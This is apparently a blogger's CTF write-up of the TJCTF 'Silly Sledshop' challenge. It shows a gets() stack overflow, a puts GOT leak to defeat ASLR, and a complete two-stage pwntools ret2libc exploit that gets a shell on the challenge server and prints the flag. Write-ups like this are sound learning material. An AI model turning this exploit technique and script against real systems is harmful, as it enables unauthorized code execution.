_blackb3ard/pwn_exhibit$

pwn notes from an exploit dev wannabe

Home CTF Writeups

TJCTF: Silly Sledshop

ret2libc leak + maybe other approaches

I might be ashamed to say this but this challenge got me stuck on it for the duration of the competition. Initially, I thought I was going to solve it through buffer overflow plus nopsleds to execute shellcode, but I had problems regarding some addresses *(solution for this approach soon). After some asking around for nudges, I opted to go for the ret2libc attack on the challenge server, which I got stuck on again, but eventually solved it, hours after the ctf ended. From this, I conclude that there are a lot of things for me to learn, new attacks and approaches to read on and experiment about.

First things first, we examine the binary and it’s security measures with file and checksec:

$ file sledshop
sledshop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=28fae6ecbea7effce8bcd28dd0e53dbd40ecd702, not stripped

$ checksec sledshop
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

From here, we see that we’re dealing with a 32-bit binary with most security measures turned off. So we can say that this is vulnerable to buffer overflow attacks given that no canary is found on the stack. Shellcoding is another way to go, but that will be for another part, I’ll tackle the ret2libc approach. It’s also important to know that we have the source code for the binary:

#include <stdio.h>
#include <stdlib.h>

void shop_setup() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    setbuf(stdout, NULL);
}

void shop_list() {
    printf("The following products are available:\n");
    printf("|  Saucer  | $1 |\n");
    printf("| Kicksled | $2 |\n");
    printf("| Airboard | $3 |\n");
    printf("| Toboggan | $4 |\n");
}

void shop_order() {
    int canary = 0;
    char product_name[64];

    printf("Which product would you like?\n");
    gets(product_name);

    if (canary)
        printf("Sorry, we are closed.\n");
    else      
        printf("Sorry, we don't currently have the product %s in stock. Try again later!\n", product_name);
}

int main(int argc, char **argv) {
    shop_setup();
    shop_list();
    shop_order();
    return 0;
}

We see here some functions such as shop_setup and shop_list which just prints out and sets the permissions to the binary. What we do want to be interested in is the shop_order function, which uses a gets call for user input. As we know we can smash the stack using this vulnerable call so what we have to do now is to determine the offset needed to overwrite the instruction pointer.

$ gdb ./sledshop
  gdb-peda$ pattern create 100
  'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
  
  gdb-peda$ r
  The following products are available:
  |  Saucer  | $1 |
  | Kicksled | $2 |
  | Airboard | $3 |
  | Toboggan | $4 |
  Which product would you like?
  AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
  [...]
  EIP: 0x41414a41 ('AJAA')
  Stopped reason: SIGSEGV
  0x41414a41 in ?? ()
  
  gdb-peda$ pattern offset AAJA
  AAJA found at offset: 80

We were able to overwrite the eip register with offset 80. But after that, where do we want to jump to? Since we’re performing a ret2libc attack here, we follow the usual approach - we jump to the system function, add some address we want to exit to, and we supply the address of the /bin/sh string to be an argument for the system function. The catch here is that ASLR is enabled server side; hardcoding addresses won’t help. So what we have to do now is to leak addresses of functions from the server. We do this by getting the address of the puts function in the plt, return to the shop_order function to prevent program termination, and supply the address of the puts function in the got to its plt counterpart

gdb-peda$ p puts
$1 = {<text variable, no debug info>} 0x80483f0 <puts@plt>

gdb-peda$ disas puts
Dump of assembler code for function puts@plt:
   0x080483f0 <+0>:	  jmp    DWORD PTR ds:0x804a01c
   0x080483f6 <+6>:	  push   0x20
   0x080483fb <+11>:	  jmp    0x80483a0
End of assembler dump.

gdb-peda$ p shop_order 
$2 = {<text variable, no debug info>} 0x80485bc <shop_order>

We take note of these addresses: puts@plt is at 0x80483f0, puts@got is at 0x804a01c, and the shop_order function is at 0x80485bc. We can now craft our initial payload to leak, send it to the server, and take note of the leaked address:

#: Exploit code; Stage 1
offset = 'A' * 80
puts_plt = 0x080483f0
puts_got = 0x0804a01c
shop_order = 0x080485bc
exploit = offset + p32(puts_plt) + p32(shop_order) + p32(puts_got)

#: Send payload; Leak puts
p.sendline(exploit)
print(p.recv())
puts_leak = u32(p.recv().split()[4][:4])

Since ASLR is enabled on the challenge server, the address that we leaked will be different every time we run our script. After leaking the address of puts from the server, we input the last three bytes (even with ASLR, the last three bytes will always be constant) of what we have to libc.blukat.me to find out which version of libc the server uses and to know at what offsets our ingredients for ret2libc reside.

libc6-i386_2.23-0ubuntu11_amd64 
  Symbol      Offset	 
  system      0x03a940	
  puts	      0x05f140	
  open	      0x0d3f40	
  read	      0x0d4350	
  write	      0x0d43c0	
  str_bin_sh  0x15902b	
  exit        0002e7b0

Great! Now we have the offsets for the ingredients we need for our exploit. But first, we need to calculate the base address for the libc using the formula libc_base = puts_leak - puts_offset. After which, we add the offsets for the functions and variables we need to the libc_base to get their exact address in the libc.

libc_base = puts_leak - 0x5f140
system = libc_base + 0x3a940
exit = libc_base + 0x2e7b0
bin_sh = libc_base + 0x15902b

When we have already done that, we proceed with our usual exploit method - overflow the buffer, jump to system and get shell. For our final script:

from pwn import *

#: Connect to chalenge server 
HOST = 'p1.tjctf.org'
PORT = 8010
p = remote(HOST,PORT)
print(p.recv())

#: Exploit code; Stage 1
offset = 'A' * 80
puts_plt = 0x080483f0
puts_got = 0x0804a01c
shop_order = 0x080485bc
exploit = offset + p32(puts_plt) + p32(shop_order) + p32(puts_got)

#: Send payload; Leak puts
p.sendline(exploit)
print(p.recv())
puts_leak = u32(p.recv().split()[4][:4])
print(hex(puts_leak))

#: Exploit code; Stage 2
offset = 'A' * 80
libc_base = puts_leak - 0x5f140

system = libc_base + 0x3a940
exit = libc_base + 0x2e7b0
bin_sh = libc_base + 0x15902b

exploit = offset + p32(system) + p32(exit) + p32(bin_sh)

#: Send payload; Stage 2
p.sendline(exploit)
print(p.recv())
print(p.recv())
p.interactive()

We run the exploit, get shell, and cat out the flag! :)

$ python exploit.py
[+] Opening connection to p1.tjctf.org on port 8010: Done
The following products are available:

|  Saucer  | $1 |
| Kicksled | $2 |
| Airboard | $3 |
| Toboggan | $4 |
Which product would you like?

Sorry, we are closed.

[*] Switching to interactive mode
$ ls
flag.txt
sledshop
wrapper
$ cat flag.txt
tjctf{5l3dd1n6_0mk4r_15_h4ppy_0mk4r}